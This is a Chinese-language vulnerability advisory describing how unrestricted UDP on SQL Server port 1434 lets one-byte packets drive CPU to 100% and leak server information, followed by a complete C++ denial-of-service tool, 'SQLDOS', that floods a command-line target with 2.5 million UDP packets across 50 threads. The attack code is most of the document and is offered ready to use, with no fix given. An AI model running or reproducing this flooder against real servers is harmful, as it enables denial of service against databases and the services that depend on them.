漏洞描述:
由於SQL Server對1434連接埠的UDP沒有限制,構造特殊的UDP包,SQL Server就一定會作出回應。如果收到大量的這些UDP包,SQL Server將消耗CPU,來處理這些UDP回應,雖然這不能造成主機當機等嚴重影響,但是CPU使用率將很容易達到100%,從而造成資料庫伺服器負荷加重,對其他服務(比如WEB)能造成拒絕服務。同時,惡意攻擊者只需要對SQL Server發送一個1個位元組的UDP資料,SQL Server將到處發送自己的資料庫伺服器資訊。
解決辦法:
暫時沒有
測試程式:
// SQLDOS.cpp
//
////////////////////////////////////////////////////////////
//
// SQLDOS by refdom
//
// Author: refdom.
// Email: refdom@263.net
//
////////////////////////////////////////////////////////////
#include "stdafx.h"
#include <string.h>
#include <stdio.h>
void sendudp (void* v)
{
int i;
char buf[1]={'/x02'};
SOCKADDR_IN addr_in;
char *targetip;
targetip=(char*)v;
SOCKET sock;
if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d/n",WSAGetLastError());
return;
}
const int SNDBUF = 0;
const int TCPNODELAY = true;
const int BROADCAST = true;
if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (const char*)&SNDBUF, sizeof(SNDBUF))==SOCKET_ERROR)
{
printf("Set SO_SNDBUF failed.Error:%d",WSAGetLastError());
return;
}
if (setsockopt(sock, SOL_SOCKET, TCP_NODELAY, (const char*)&TCPNODELAY, sizeof(TCPNODELAY))==SOCKET_ERROR)
{
printf("Set TCP_NODELAY failed.Error:%d",WSAGetLastError());
return;
}
if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (const char*)&BROADCAST, sizeof(BROADCAST))==SOCKET_ERROR)
{
printf("Set SO_BROADCAST failed.Error:%d",WSAGetLastError());
return;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(1434);
addr_in.sin_addr.S_un.S_addr=inet_addr(targetip);
for (i=1;i<50000;i++)
//發送50000次請求
{
if (sendto(sock, buf, sizeof(buf), 0,(sockaddr*) &addr_in, sizeof(addr_in))==SOCKET_ERROR)
{
printf("Send failed.Error:%d/n",WSAGetLastError());
return;
}
}
closesocket(sock);
}
void useage()
{
printf("******************************************/n");
printf("SQLDOS/n");
printf("/t Written by Refdom/n");
printf("/t Email: refdom@263.net/n");
printf("Useage: SQLDOS.exe target_ip /n");
printf("*******************************************/n");
}
int main(int argc, char* argv[])
{
WSADATA WSAData;
int i;
useage();
if (argc<2)
{
return false;
}
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d/n",WSAGetLastError());
return false;
}
printf("SQLDOS start...");
for (i=1;i<=50;i++)
{
_beginthread(sendudp, 0, (void*)argv[1]);
}
Sleep(500000);
WSACleanup();
printf("SQLDOS Complete./n");
return 0;
}